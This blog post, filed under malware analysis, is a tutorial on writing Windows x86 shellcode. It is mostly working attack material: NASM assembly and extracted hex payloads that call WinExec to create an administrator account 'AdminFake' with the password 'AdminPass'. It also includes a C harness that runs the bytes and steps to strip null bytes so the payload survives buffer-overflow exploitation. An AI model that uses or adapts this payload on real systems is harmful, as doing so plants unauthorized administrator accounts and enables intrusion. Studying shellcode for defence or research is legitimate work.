Home > MalwareAnalysis > Writing Shellcode

Writing Shellcode

The WinExec shellcode (NASM)

==============================

[Section .text]

BITS 32

 

global _start

 

_start:

JMP GetCmd

ReturnfromCommand:

POP EBX ;Holds the Pointer to the command string to be executed using WinExec

MOV ECX,1 ;Parameter 2 for WinExec SW_SHOWNORMAL

PUSH ECX ;Push the 2nd param on the stack

PUSH EBX ;Push the first Param

XOR EBX,EBX ;Zero the EBX register

MOV EBX,0x7c86114d ;WinExec address. found it using Arwin utility

CALL EBX ;Call the WinExec

XOR EAX,EAX ;Zero EAX

PUSH EAX ;Push EAX on the stack

XOR EBX,EBX ;Zero the EBX

MOV EBX,0X7c81caa2 ;Address of ExitProcess function

CALL EBX ;Call ExitProcess for clean exit

 

 

GetCmd:

CALL ReturnfromCommand ;This saves the EIP on the stack, which points to the next instruction to be executed

;In our case, the next instruction is nothing, but pointing to the string

;to be passed as the command to the WinExec function

db “cmd.exe /c net user AdminFake AdminPass /ADD && net localgroup Administrators /ADD AdminFake”,0

 

 

 

Now, we use the NASM to compile the WinExec.asm:

NASM WinExec.asm -o WinExec.bin

 

This generates the WinExec.bin file, and we extract the Hex codes from it using the pveReadBin.pl utility(corelan site):

pveReadBin.pl WinExec.bin

 

“\xeb\x1d\x5b\xb9\x01\x00\x00\x00″

“\x51\x53\x31\xdb\xbb\x4d\x11\x86″

“\x7c\xff\xd3\x31\xc0\x50\x31\xdb”

“\xbb\xa2\xca\x81\x7c\xff\xd3\xe8″

“\xde\xff\xff\xff\x63\x6d\x64\x2e”

“\x65\x78\x65\x20\x2f\x63\x20\x6e”

“\x65\x74\x20\x75\x73\x65\x72\x20″

“\x41\x64\x6d\x69\x6e\x46\x61\x6b”

“\x65\x20\x41\x64\x6d\x69\x6e\x50″

“\x61\x73\x73\x20\x2f\x41\x44\x44″

“\x20\x26\x26\x20\x6e\x65\x74\x20″

“\x6c\x6f\x63\x61\x6c\x67\x72\x6f”

“\x75\x70\x20\x41\x64\x6d\x69\x6e”

“\x69\x73\x74\x72\x61\x74\x6f\x72″

“\x73\x20\x2f\x41\x44\x44\x20\x41″

“\x64\x6d\x69\x6e\x46\x61\x6b\x65″

“\x00″;

 

Test the Hex code generated by putting it in the shellocdetest program:

 

char code[] = “shellcode here”

int main(int argc, char **argv)

{

int (*func)();

func = (int (*)()) code;

(int)(*func)();

}

 

Replace the “shellcode here” with the hex codes:

 

char code[] = “\xeb\x1d\x5b\xb9\x01\x00\x00\x00

“\x51\x53\x31\xdb\xbb\x4d\x11\x86″

“\x7c\xff\xd3\x31\xc0\x50\x31\xdb”

“\xbb\xa2\xca\x81\x7c\xff\xd3\xe8″

“\xde\xff\xff\xff\x63\x6d\x64\x2e”

“\x65\x78\x65\x20\x2f\x63\x20\x6e”

“\x65\x74\x20\x75\x73\x65\x72\x20″

“\x41\x64\x6d\x69\x6e\x46\x61\x6b”

“\x65\x20\x41\x64\x6d\x69\x6e\x50″

“\x61\x73\x73\x20\x2f\x41\x44\x44″

“\x20\x26\x26\x20\x6e\x65\x74\x20″

“\x6c\x6f\x63\x61\x6c\x67\x72\x6f”

“\x75\x70\x20\x41\x64\x6d\x69\x6e”

“\x69\x73\x74\x72\x61\x74\x6f\x72″

“\x73\x20\x2f\x41\x44\x44\x20\x41″

“\x64\x6d\x69\x6e\x46\x61\x6b\x65″

“\x00″;

int main(int argc, char **argv)

{

int (*func)();

func = (int (*)()) code;

(int)(*func)();

}

 

Compile, link and run the program. This will add an administrator user “AdminFake” with password “AdminPass”

 

NULL BYTE PROBLEM:

The above shellcode works fine as a standalone program. However, when we need to provide the input to some other program and exploit an overflow, we need to have null bytes eliminated. This makes sure that if the overflown buffer involves string functions, our shellcode would not terminate because of the null \x00 char. In the previous shellcode, there are 3 bytes initially, and one at the end. However, the end null byte need not be removed as it terminates the add user command.

So, Lets view the shellcodeTest.exe in immunity debugger

 

Note, that the three null bytes are due to MOV ECX,1 instruction. So, we need to overcome this in some manner.

There can be many ways to overcome this. One can be the following:

MOV ECX,99999999

SUB ECX,99999998

 

which is equivalent to MOV ECX,1. Thus, replace the MOV ECX,1 instruction with the above two statements and generate the shellcode again. For me, the shellcode comes out to be:

 

 

“\xeb\x23\x5b\xb9\xff\xe0\xf5\x05″

“\x81\xe9\xfe\xe0\xf5\x05\x51\x53″

“\x31\xdb\xbb\x4d\x11\x86\x7c\xff”

“\xd3\x31\xc0\x50\x31\xdb\xbb\xa2″

“\xca\x81\x7c\xff\xd3\xe8\xd8\xff”

“\xff\xff\x63\x6d\x64\x2e\x65\x78″

“\x65\x20\x2f\x63\x20\x6e\x65\x74″

“\x20\x75\x73\x65\x72\x20\x41\x64″

“\x6d\x69\x6e\x46\x61\x6b\x65\x20″

“\x41\x64\x6d\x69\x6e\x50\x61\x73″

“\x73\x20\x2f\x41\x44\x44\x20\x26″

“\x26\x20\x6e\x65\x74\x20\x6c\x6f”

“\x63\x61\x6c\x67\x72\x6f\x75\x70″

“\x20\x41\x64\x6d\x69\x6e\x69\x73″

“\x74\x72\x61\x74\x6f\x72\x73\x20″

“\x2f\x41\x44\x44\x20\x41\x64\x6d”

“\x69\x6e\x46\x61\x6b\x65\x00″;

 

And when I run the shellcodetest.exe, the user “AdminFake” is created.

 

However, still one null byte remains at the end of the shellcode. What to do now ? There is one solution though. We will modify our assembly code as follows:

 

[Section .text]

BITS 32

 

global _start

 

_start:

JMP GetCmd

ReturnfromCommand:

POP EBX ;Holds the Pointer to the command string to be executed using ;WinExec

 

XOR EAX,EAX

MOV [EBX+92],AL ;This will replace the placeholder ‘Z’ in the string with null byte

MOV ECX,99999999 ;These two instructions

SUB ECX,99999998 ;put 1 in ECX

PUSH ECX ;Push the 2nd param on the stack

PUSH EBX ;Push the first Param

XOR EBX,EBX ;Zero the EBX register

MOV EBX,0x7c86114d ;WinExec address. found it using Arwin utility

CALL EBX ;Call the WinExec

XOR EAX,EAX ;Zero EAX

PUSH EAX ;Push EAX on the stack

XOR EBX,EBX ;Zero the EBX

MOV EBX,0X7c81caa2 ;Address of ExitProcess function

CALL EBX ;Call ExitProcess for clean exit

 

 

GetCmd:

CALL ReturnfromCommand ;This saves the EIP, which points to the next instruction to be executed

;In our case, the next instruction is nothing, but pointing to the string

;to be passed as the command to the WinExec function

db “cmd.exe /c net user AdminFake AdminPass /ADD && net localgroup Administrators /ADD AdminFakeZ” ;Length= 92 characters. Note that we have added extra ‘Z’ character as a placeholder.

 

Assemble the above code, extract hex codes using pveReadBin.pl, and paste them in shellcodeTest.c.

For me, the shellcode comes to be:

“\xeb\x28\x5b\x31\xc0\x88\x43\x5c”

“\xb9\xff\xe0\xf5\x05\x81\xe9\xfe”

“\xe0\xf5\x05\x51\x53\x31\xdb\xbb”

“\x4d\x11\x86\x7c\xff\xd3\x31\xc0″

“\x50\x31\xdb\xbb\xa2\xca\x81\x7c”

“\xff\xd3\xe8\xd3\xff\xff\xff\x63″

“\x6d\x64\x2e\x65\x78\x65\x20\x2f”

“\x63\x20\x6e\x65\x74\x20\x75\x73″

“\x65\x72\x20\x41\x64\x6d\x69\x6e”

“\x46\x61\x6b\x65\x20\x41\x64\x6d”

“\x69\x6e\x50\x61\x73\x73\x20\x2f”

“\x41\x44\x44\x20\x26\x26\x20\x6e”

“\x65\x74\x20\x6c\x6f\x63\x61\x6c”

“\x67\x72\x6f\x75\x70\x20\x41\x64″

“\x6d\x69\x6e\x69\x73\x74\x72\x61″

“\x74\x6f\x72\x73\x20\x2f\x41\x44″

“\x44\x20\x41\x64\x6d\x69\x6e\x46″

“\x61\x6b\x65\x5a”;

 

This is the null free shellcode.

 

 

 

 

 

Categories: MalwareAnalysis Tags:
  1. No comments yet.
  1. No trackbacks yet.

Switch to our mobile site